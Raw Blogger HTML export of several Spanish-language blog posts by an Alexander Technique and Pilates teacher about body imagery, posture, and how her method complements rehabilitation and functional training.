<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj-2tR2eUTf16TJge-pCqqXSsF-WdMYEUbU6prdFDA4TdHkEHX_iZSdz4nze1P6Ov7iyGKHq4byqzjHEYejnZnELuHC6wHVgTfbamWU5VXHa7552QtCKN_U2H4JmbL7l_2tsQhAvwJmf2uc/s1600/Mermaid.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj-2tR2eUTf16TJge-pCqqXSsF-WdMYEUbU6prdFDA4TdHkEHX_iZSdz4nze1P6Ov7iyGKHq4byqzjHEYejnZnELuHC6wHVgTfbamWU5VXHa7552QtCKN_U2H4JmbL7l_2tsQhAvwJmf2uc/s1600/Mermaid.jpg" /></a></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span lang="ES-UY" style="font-size: 14.0pt; mso-ansi-language: ES-UY;"><br /></span></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span lang="ES-UY" style="font-size: 14.0pt; mso-ansi-language: ES-UY;">Considero
fundamental para el bienestar psico-físico mover el cuerpo, entrenar el aparato
músculo-esquelético. En lo personal yo practico Pilates y salgo a correr. <o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span lang="ES-UY" style="font-size: 14.0pt; mso-ansi-language: ES-UY;">Sin
embargo, a la hora de generar cambios posturales y mejoras en la calidad de
nuestro movimiento, creo que son las ideas e imágenes (conscientes e inconscientes) que tenemos, las que moldean nuestra estructura y sus
posibilidades de acción. <o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span lang="ES-UY" style="font-size: 14.0pt; mso-ansi-language: ES-UY;">Por
eso, en mi práctica plasmo los principios
de la <u><a href="http://vstanhamtecnicaalexander.blogspot.com.uy/2016/01/que-es-la-tecnica-alexander.html" target="_blank">Técnica Alexander</a></u> y el Método Pilates en ciertas <b><span style="color: #c00000;">ideas e
imágenes</span></b> del cuerpo y su movimiento que surgen de mis
investigaciones personales, ‘poniendo el cuerpo’. <o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span lang="ES-UY" style="font-size: 14.0pt; mso-ansi-language: ES-UY;">Además,
considero que trabajar sobre el sistema de ideas e imágenes del cuerpo y su
movimiento tiene 3 ventajas importantes sobre trabajar tratando de cambiar
directamente la estructura física.<o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<b><span lang="ES-UY" style="color: #c00000; font-size: 14.0pt;">1. El sistema de
ideas e imágenes sobre el cuerpo y el movimiento está en constante desarrollo,
lo cual lo vuelve muy adaptable. <o:p></o:p></span></b></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span lang="ES-UY" style="font-size: 14.0pt; mso-ansi-language: ES-UY;">A
veces, lo que nos impide lograr un cambio (y todo movimiento es un cambio) no
es nuestra estructura física sino nuestra estructura mental. Pero, <span style="color: #c00000;">si encontramos la idea o imagen justa, se puede habilitar
y facilitar el aprendizaje de un gran número de destrezas</span>. <o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span lang="ES-UY" style="font-size: 14.0pt; mso-ansi-language: ES-UY;">Por
ejemplo, a mi me fascinan la gracia y libertad de movimiento de los grandes
gatos, y la potencia y elegancia del movimiento del caballo. En mi búsqueda por
incorporar esas cualidades a mi propio movimiento, mis ideas e imágenes sobre
cómo dirigir la postura, la respiración, el movimiento de los miembros en
relación al tronco y el movimiento global de la columna, va mutando con el
tiempo y la experiencia acumulada. <o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span lang="ES-UY" style="font-size: 14.0pt; mso-ansi-language: ES-UY;">A
medida que cambian mis ideas sobre estos movimientos también cambian mi
concepto fundamental sobre qué es en definitiva la postura, la respiración y el
movimiento axial y apendicular. El resultado es un cuerpo y una mente en
constante evolución, y cada día nuevas posibilidades de desarrollo.<o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span lang="ES-UY" style="font-size: 14.0pt; mso-ansi-language: ES-UY;"> <o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<b><span lang="ES-UY" style="color: #c00000; font-size: 14.0pt;">2. El sistema de
ideas e imágenes sobre el cuerpo y el movimiento puede generar cambios rápidamente.
<o:p></o:p></span></b></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span lang="ES-UY" style="font-size: 14.0pt; mso-ansi-language: ES-UY;">Armar
masa muscular, lograr un aumento en la flexibilidad muscular, aumentar la masa
ósea, todo esto es posible y beneficioso, pero ocurre lentamente.<o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span lang="ES-UY" style="font-size: 14.0pt; mso-ansi-language: ES-UY;">Sin
embargo, <span style="color: #c00000;">cuando una nueva idea sobre el cuerpo nos
permite percibir un exceso de tensión en el cuerpo que antes era inconsciente, nuestro
sistema nervioso puede tomar una gran variedad de acciones correctivas
instantáneamente, reorganizando los patrones de movimiento para disipar la
tensión de la zona</span>.<o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span lang="ES-UY" style="font-size: 14.0pt; mso-ansi-language: ES-UY;">Por
ejemplo, hay un <u><a href="http://vstanhamtecnicaalexander.blogspot.com.uy/2014/02/crando-espacios-sobre-dios-tus-axilas-y.html" target="_blank">ejercicio de percepción de la axila</a></u> que genera un cambio
instantáneo en la morfología de toda la zona del hombro. Claro está que esto no
significa que la nueva forma es permanente automáticamente. Los hábitos arraigados
tienden a llevarnos devuelta a la vieja forma. <o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<b><span lang="ES-UY" style="color: #c00000; font-size: 14.0pt;">3. El sistema de
ideas e imágenes sobre el cuerpo y el movimiento puede generar cambios permanentes.</span></b><span lang="ES-UY" style="color: #c00000; font-size: 14.0pt;"> <o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span lang="ES-UY" style="font-size: 14.0pt; mso-ansi-language: ES-UY;">Los
cambios estructurales requieren de un constante mantenimiento para ser
visibles. Por ejemplo, el desarrollo de masa muscular requiere de un constante
entrenamiento para que no se pierda.<o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span lang="ES-UY" style="font-size: 14.0pt; mso-ansi-language: ES-UY;">Por
el contrario, aunque el cambio organizativo generado por una nueva idea tiende
a ser débil frente a un hábito arraigado, el cambio puede volverse un nuevo
hábito si se ejercita a conciencia. <o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span lang="ES-UY" style="font-size: 14.0pt; mso-ansi-language: ES-UY;">En
los hechos, desarrollado hasta cierto nivel, el aprendizaje motor es
efectivamente permanente para el sistema nervioso. Por ejemplo, una vez que
aprendiste cómo andar en bicicleta ya no lo olvidas más, aunque no andes nunca
en bici. De igual manera, <span style="color: #c00000;">las lecciones sobre
conciencia y coordinación corporal que se aprenden en las técnicas de
movimiento consciente pueden beneficiarte por años, siempre y cuando las hayas
ejercitado lo suficiente</span>. <o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<br /></div>
<br />
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<b><span lang="ES-UY" style="color: #c00000; font-size: 14.0pt;">- Victoria<o:p></o:p></span></b></div>
Anonymoushttp://www.blogger.com/profile/00071312518508900960noreply@blogger.com0tag:blogger.com,1999:blog-1987438956695353649.post-7095638850890034072016-01-28T21:45:00.001-03:002016-01-28T21:45:22.752-03:00Rehabilitación, Entrenamiento Funcional y Técnica Alexander<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEglOoE8IsXo0oF4zrg6wlOQOgsNXoy-GVPYziFmO4TDVOVSnYx2a_jnvb-_U-8ZoV69ckbdnRQKJzdPYI6nTZRAnlSUrdCptZU-Ok-xx4ufVblOWoagn05MTMYWiAJ0w0WlgtMwN45UQ9Bp/s1600/push+up.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEglOoE8IsXo0oF4zrg6wlOQOgsNXoy-GVPYziFmO4TDVOVSnYx2a_jnvb-_U-8ZoV69ckbdnRQKJzdPYI6nTZRAnlSUrdCptZU-Ok-xx4ufVblOWoagn05MTMYWiAJ0w0WlgtMwN45UQ9Bp/s1600/push+up.jpg" /></a></div>
<br /></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span style="font-size: 14pt;">Antes
que nada quisiera aclarar que, si bien soy principalmente profesora de Técnica Alexander, también
soy instructora de Pilates Mat y Studio (entrenamiento funcional) y estudiante
de fisioterapia (rehabilitación funcional). Aunque en mi
práctica profesional integro mis conocimientos de la tres áreas, me gustaría en este blog aclarar lo que diferencia el enfoque de
la Técnica Alexander de las técnicas de rehabilitación y entrenamiento funcionales, para
resaltar dónde se complementan y se potencian mutuamente.</span><span class="MsoFootnoteReference" style="font-size: 14pt;"> <a href="file:///C:/Users/Vicky/Documents/T%C3%A9cnica%20Alexander/Blog/Alex%20Blog/Uso%20Estructura%20y%20Funci%C3%B3n.docx#_ftn1" name="_ftnref1" title=""><span class="MsoFootnoteReference"><span lang="ES-UY" style="font-family: "calibri" , "sans-serif"; font-size: 14.0pt; line-height: 115%;">[1]</span></span></a></span></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span lang="ES-UY" style="font-size: 14.0pt; mso-ansi-language: ES-UY;">El
enfoque del movimiento desde la Técnica Alexander se centra en descubrir cómo
nuestras concepciones, creencias y pensamientos sobre nuestro cuerpo y su
movimiento afectan la forma en que nos movemos y nos sentimos. Por lo tanto, el
trabajo desde la Técnica Alexander se basa en descubrir cómo incidir positivamente
sobre estructuras y funciones del cuerpo, desde la forma en que “dirigimos”
nuestro movimiento con el pensamiento.<a href="file:///C:/Users/Vicky/Documents/T%C3%A9cnica%20Alexander/Blog/Alex%20Blog/Uso%20Estructura%20y%20Funci%C3%B3n.docx#_ftn2" name="_ftnref2" title=""><span class="MsoFootnoteReference"><!--[if !supportFootnotes]--><span class="MsoFootnoteReference"><span lang="ES-UY" style="font-family: "calibri" , "sans-serif"; font-size: 14.0pt; line-height: 115%;">[2]</span></span><!--[endif]--></span></a><o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span lang="ES-UY" style="font-size: 14.0pt; mso-ansi-language: ES-UY;">Esto no significa que el movimiento eficiente está todo “en tu cabeza”. Indudablemente, la
salud estructural y funcional del sistema neuro-músculo-esquelético es esencial para
lograr un movimiento placentero y de calidad.<a href="file:///C:/Users/Vicky/Documents/T%C3%A9cnica%20Alexander/Blog/Alex%20Blog/Uso%20Estructura%20y%20Funci%C3%B3n.docx#_ftn3" name="_ftnref3" title=""><span class="MsoFootnoteReference"><!--[if !supportFootnotes]--><span class="MsoFootnoteReference"><span lang="ES-UY" style="font-family: "calibri" , "sans-serif"; font-size: 14.0pt; line-height: 115%;">[3]</span></span><!--[endif]--></span></a>
<o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<b><span lang="ES-UY" style="color: #c00000; font-size: 14.0pt;">Distinguiendo
entre problemas de Estructura, de Función y de “Uso”<o:p></o:p></span></b></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span lang="ES-UY" style="font-size: 14.0pt; mso-ansi-language: ES-UY;">Cuando
tenemos un problema de movilidad cabe hacerse la pregunta si es un tema principalmente estructural, funcional o de
“uso habitual”. </span><span style="font-size: 18.6667px;">Tomemos como ejemplo una limitación en el rango de movimiento del cuello (con o sin dolor asociado).</span><br />
<span lang="ES-UY" style="font-size: 14.0pt; mso-ansi-language: ES-UY;"><br /></span>
<span lang="ES-UY" style="font-size: 14.0pt; mso-ansi-language: ES-UY;">La estructura del cuello está formada por las partes concretas: vértebras, discos, músculos, tendones, ligamentos, articulaciones, etc. La función del cuello son las tareas para las que fue diseñado: flexionarse, extenderse, rotar, y lateralizarse para orientar la cabeza en el espacio. El "uso" es la manera en la que uno mismo pone su propio cuello en funcionamiento, o sea, cómo tiende uno a mover el cuello. </span><span style="font-size: 14pt;">Por ejemplo,</span><span style="color: #c00000; font-size: 14pt;"> </span><u style="font-size: 14pt;"><a href="http://vstanhamtecnicaalexander.blogspot.com.uy/2014/02/una-palabra-es-un-estimulo-tu.html" target="_blank">si estoy convencido que mi cuello es sólo la parte que puedo ver en el espejo, seguramente lo esté moviendo de acuerdo a esa imagen mental de la estructura</a></u><span style="font-size: 14pt;">. </span><br />
<span lang="ES-UY" style="font-size: 14.0pt; mso-ansi-language: ES-UY;"><br /></span>
<span lang="ES-UY" style="font-size: 14.0pt; mso-ansi-language: ES-UY;">La estructura y la función del cuello son mayormente iguales para todos los seres humanos ya que viene definido por nuestra genética de especie, pero el uso es 100% individual ya que surge del encuentro entre el diseño estructural y funcional y la experiencia de vida de cada uno.</span><br />
<span lang="ES-UY" style="font-size: 14.0pt; mso-ansi-language: ES-UY;"><br /></span>
<span style="font-size: 14pt;">Cualquiera
sea el punto inicial del problema de movilidad del cuello (estructural, funcional o de uso), </span><span style="color: #c00000; font-size: 14pt;">generalmente
se verán afectadas las tres áreas. </span><span style="font-size: 14pt;">Por lo tanto,</span><span style="color: #c00000; font-size: 14pt;"> un abordaje completo de salud
del aparato neuro-músculo-esquelético debería integrar intervenciones desde los
tres enfoques</span><span style="font-size: 14pt;">. </span></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span lang="ES-UY" style="font-size: 14.0pt; mso-ansi-language: ES-UY;">Sin
embargo, aunque las relaciones entre estructura y función son ampliamente
reconocidas y tratadas por los profesionales del movimiento y la salud, la gran
mayoría de los abordajes terapéuticos, rehabilitadores y de entrenamiento
corporal no reconocen el importante rol que juegan nuestros pensamientos, ideas
y percepciones sobre nuestras propias estructuras y funciones en los problemas de movilidad, postura y dolor.<o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span lang="ES-UY" style="font-size: 14pt;">Ningún enfoque es "mejor" o "peor" que el otro, todos son necesarios. O sea</span><span style="font-size: 14pt;">,</span><span style="color: #c00000; font-size: 14pt;"> la Técnica Alexander no sustituye los trabajos del
rehabilitador y del entrenador funcional, sino que los complementa y
potencia, brindándoles una mejor base sobre la cual construir una más completa salud
estructural y funcional del sistema neuro-músculo-esquelético.</span></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span lang="ES-UY" style="color: #c00000; font-size: 14.0pt;"><br /></span>
<span lang="ES-UY" style="color: #c00000; font-size: 14.0pt;">- Victoria</span></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<br /></div>
<div>
<hr align="left" size="1" width="33%" />
<!--[endif]-->
<br />
<div id="ftn1">
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<a href="file:///C:/Users/Vicky/Documents/T%C3%A9cnica%20Alexander/Blog/Alex%20Blog/Uso%20Estructura%20y%20Funci%C3%B3n.docx#_ftnref1" name="_ftn1" title=""><span class="MsoFootnoteReference"><span style="font-size: 10.0pt; vertical-align: baseline;"><!--[if !supportFootnotes]--><span class="MsoFootnoteReference"><span style="font-family: "calibri" , "sans-serif"; font-size: 10.0pt; line-height: 115%; vertical-align: baseline;">[1]</span></span><!--[endif]--></span></span></a><span class="MsoFootnoteReference"><span style="font-size: 10.0pt; vertical-align: baseline;">
También tengo una licenciatura en teatro de Washington & Lee
University (U.S.A.), e integro estos conocimientos en mi trabajo con la
comunicación, la voz y el lenguaje corporal, pero eso será tema para otro blog.<o:p></o:p></span></span></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<br /></div>
</div>
<div id="ftn2">
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<a href="file:///C:/Users/Vicky/Documents/T%C3%A9cnica%20Alexander/Blog/Alex%20Blog/Uso%20Estructura%20y%20Funci%C3%B3n.docx#_ftnref2" name="_ftn2" title=""><span class="MsoFootnoteReference"><span style="font-size: 10.0pt; vertical-align: baseline;"><!--[if !supportFootnotes]--><span class="MsoFootnoteReference"><span style="font-family: "calibri" , "sans-serif"; font-size: 10.0pt; line-height: 115%; vertical-align: baseline;">[2]</span></span><!--[endif]--></span></span></a><span class="MsoFootnoteReference"><span style="font-size: 10.0pt; vertical-align: baseline;">
</span></span><span class="MsoFootnoteReference"><span style="font-size: 10.0pt;">La
Técnica Alexander es una re-educación de nuestros patrones aprendidos de
reacción mental y muscular. Lo que es re-educado es la forma en que nuestra mente
integra e interpreta la información sensorial que recibe del medio externo e
interno, y en consecuencia dirige las reacciones (movimientos) del cuerpo. El
objetivo es lograr patrones de reacción global más sanos, más eficientes y más
placenteros. <o:p></o:p></span></span></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<br /></div>
</div>
<div id="ftn3">
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<a href="file:///C:/Users/Vicky/Documents/T%C3%A9cnica%20Alexander/Blog/Alex%20Blog/Uso%20Estructura%20y%20Funci%C3%B3n.docx#_ftnref3" name="_ftn3" title=""><span class="MsoFootnoteReference"><span style="font-size: 10.0pt; vertical-align: baseline;"><!--[if !supportFootnotes]--><span class="MsoFootnoteReference"><span style="font-family: "calibri" , "sans-serif"; font-size: 10.0pt; line-height: 115%; vertical-align: baseline;">[3]</span></span><!--[endif]--></span></span></a><span class="MsoFootnoteReference"><span style="font-size: 10.0pt; vertical-align: baseline;">
</span></span><span class="MsoFootnoteReference"><span style="font-size: 10.0pt;">Las
clases de Técnica Alexander son instancias de <span style="color: #660000;">re-educación</span>, no son sesiones de <span style="color: #660000;">entrenamiento</span> funcional y tampoco son sesiones de <span style="color: #660000;">terapia</span> física o
rehabilitación.</span></span></div>
</div>
</div>
<div>
<div id="ftn4">
</div>
</div>
Anonymoushttp://www.blogger.com/profile/00071312518508900960noreply@blogger.com0tag:blogger.com,1999:blog-1987438956695353649.post-74044559903422847702016-01-21T19:10:00.000-03:002016-01-21T19:10:27.263-03:003 Inesperados Beneficios de Aprender a Moverte con Conciencia y Precisión<div class="MsoNormal" style="margin-bottom: 0.0001pt; text-align: center;">
<span lang="ES-UY" style="color: #c00000; font-size: 14.0pt;">La vida es movimiento. <o:p></o:p></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEijGh_tqDA4Ueb4vb2-nZdDrhLgx-5mnUomGJgfop-Mf8n6HtWcSa5Nh_mNe2nROP9fOHSsu698mLWxqxMgyQySWlnxx-d1Rkm_GBezp34GNaVmlJTPM5iR2Jd_D___HPXh_B2Yr2QIk0Bl/s1600/3+reasons+to+move.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEijGh_tqDA4Ueb4vb2-nZdDrhLgx-5mnUomGJgfop-Mf8n6HtWcSa5Nh_mNe2nROP9fOHSsu698mLWxqxMgyQySWlnxx-d1Rkm_GBezp34GNaVmlJTPM5iR2Jd_D___HPXh_B2Yr2QIk0Bl/s1600/3+reasons+to+move.jpg" /></a></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span lang="ES-UY" style="font-size: 14.0pt; mso-ansi-language: ES-UY;"></span></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span lang="ES-UY" style="color: #c00000; font-size: 14.0pt;">Te des cuenta o no, todo en ti y alrededor tuyo se mueve constantemente. <o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span lang="ES-UY" style="font-size: 14.0pt; mso-ansi-language: ES-UY;">A
veces el movimiento se da como expresiones externas de tu cuerpo y tus palabras
en el espacio. A veces el movimiento se da como expresiones internas de
movimientos de tus órganos, tus fluidos y tus pensamientos. No existe expresión
sin movimiento, y no existe movimiento que no exprese algo.<o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span lang="ES-UY" style="font-size: 14.0pt; mso-ansi-language: ES-UY;">Si
todo en la vida depende del movimiento, aprender a moverte mejor no puede sino
mejorar tu calidad de vida y tu desarrollo físico, mental y emocional.<o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<b><span lang="ES-UY" style="color: #c00000; font-size: 14.0pt; mso-ansi-language: ES-UY;">1. </span></b><b><span lang="ES-UY" style="font-size: 14.0pt; mso-ansi-language: ES-UY;">Beneficios para la expresión física:<span style="color: #c00000;"> Prevenir lesiones, mejorar el desempeño físico, y hacer posible lo inaccesible.</span></span></b><span lang="ES-UY" style="font-size: 14.0pt; mso-ansi-language: ES-UY;"><o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span lang="ES-UY" style="font-size: 14.0pt; mso-ansi-language: ES-UY;">A
mayor conciencia de tu cuerpo en el espacio, y de los espacios en tu cuerpo,
mayor será la coordinación y organización de tu movimiento, y por ende su
calidad. Lograr un movimiento preciso y eficiente aumenta nuestra capacidad
expresiva. <o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span lang="ES-UY" style="font-size: 14.0pt; mso-ansi-language: ES-UY;">A su
vez, repartir mejor los pesos, en vez de recargar siempre las mismas
articulaciones y estructuras, evita desgastarlas. Esto es particularmente
importante para quienes se acercan al ejercicio físico con cuerpos que, por
edad o por lesión, ya “no perdonan” el maltrato. <o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span lang="ES-UY" style="font-size: 14.0pt; mso-ansi-language: ES-UY;">Además,
un movimiento “inteligente” hace más fácil y accesible lo que antes parecía
imposible. En definitiva, <b><span style="color: #c00000;">el mejor atleta no es necesariamente el más joven, fuerte,
rápido, o flexible, sino el que se mueve con mayor inteligencia</span></b>.<o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<b><span lang="ES-UY" style="color: #c00000; font-size: 14.0pt; mso-ansi-language: ES-UY;">2. </span></b><b><span lang="ES-UY" style="font-size: 14.0pt; mso-ansi-language: ES-UY;">Beneficios para la expresión mental:<span style="color: #c00000;"> Disminuir el estrés, aumentar la comodidad, mejorar la
comunicación.<o:p></o:p></span></span></b></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span lang="ES-UY" style="font-size: 14.0pt; mso-ansi-language: ES-UY;">Los
movimientos cotidianos (pararte, sentarte, caminar, respirar, hablar, usar la
computadora, comer, etc.) pueden realizarse con mayor o menor coordinación y
eficiencia. Si bien un exceso habitual de tensión en estos movimientos no
siempre deviene en lesiones o dolor físico, la forma en que te movés sí afecta
cómo te sentís en el día a día. <o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span lang="ES-UY" style="font-size: 14.0pt; mso-ansi-language: ES-UY;">A
mayor tensión en el cuerpo, mayor tensión en la mente. Aprender a parar, a
respirar con tranquilidad, a aflojar las tensiones, a reconocer cuando “me
estoy pasando de rosca” y poder “bajar las revoluciones”, son todas habilidades
adquiribles. Poder reconocer los estados de estrés y alerta en el cuerpo cuando
recién se instalan nos da una ventaja competitiva al momento de desactivarlos. <o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span lang="ES-UY" style="font-size: 14.0pt; mso-ansi-language: ES-UY;">Un
cuerpo tranquilo piensa y se expresa con mayor claridad. Por lo tanto, <b><span style="color: #c00000;">aprender a
moverte con menos tensión puede ayudarte no sólo a</span></b> <b><span style="color: #c00000;">evitar o
reducir dolores crónicos, sino también a combatir el estrés y a expresarte con
mayor fluidez</span></b>.<o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<b><span lang="ES-UY" style="color: #c00000; font-size: 14.0pt; mso-ansi-language: ES-UY;">3. </span></b><b><span lang="ES-UY" style="font-size: 14.0pt; mso-ansi-language: ES-UY;">Beneficios para la expresión emocional:<span style="color: #c00000;"> Autoconocimiento, desarrollo personal y autoconfianza.<o:p></o:p></span></span></b></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span lang="ES-UY" style="font-size: 14.0pt; mso-ansi-language: ES-UY;">Si
querés cambiar tu estado emocional o mental, uno de los caminos posibles es
cambiar la forma en que te movés y percibís. De hecho, las partes del cerebro
que controlan el movimiento están relacionadas con las partes del cerebro que
controlar los pensamientos, las emociones y las percepciones sensoriales.<o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span lang="ES-UY" style="font-size: 14.0pt; mso-ansi-language: ES-UY;">Nuestras
posturas y movimientos habituales son cuadros vivientes de nuestra historia
física, mental y emocional. Reconocer nuestros hábitos es también un proceso de
reconocimiento de las ideas y creencias que tenemos con respecto a por qué nos
movemos o sostenemos de cierta manera, o por qué nos paramos o sentamos con
determinada actitud. <o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span lang="ES-UY" style="font-size: 14.0pt; mso-ansi-language: ES-UY;">Dado
que el cuerpo expresa en su estado interno y externo nuestro estado emocional,<b><span style="color: #c00000;"> el
conocimiento del cuerpo y su movimiento es un excelente punto de partida para
luego</span></b> <b><span style="color: #c00000;">acceder a cualidades más abstractas e intangibles de la psique</span></b>.<b><span style="color: #c00000;"><o:p></o:p></span></b></span></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span style="font-size: 14pt;">Entonces,
¿ya elegiste tu punto de partida para entrar en el mundo del movimiento?</span></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<br /></div>
<br />
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<b><span lang="ES-UY" style="color: #c00000; font-size: 14.0pt; mso-ansi-language: ES-UY;">- Victoria<o:p></o:p></span></b></div>
</div>
Anonymoushttp://www.blogger.com/profile/00071312518508900960noreply@blogger.com1tag:blogger.com,1999:blog-1987438956695353649.post-65807013037307713112016-01-16T20:35:00.000-03:002016-01-23T15:15:55.712-03:00¿Qué es la Técnica Alexander?<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<div class="separator" style="clear: both; text-align: center;">
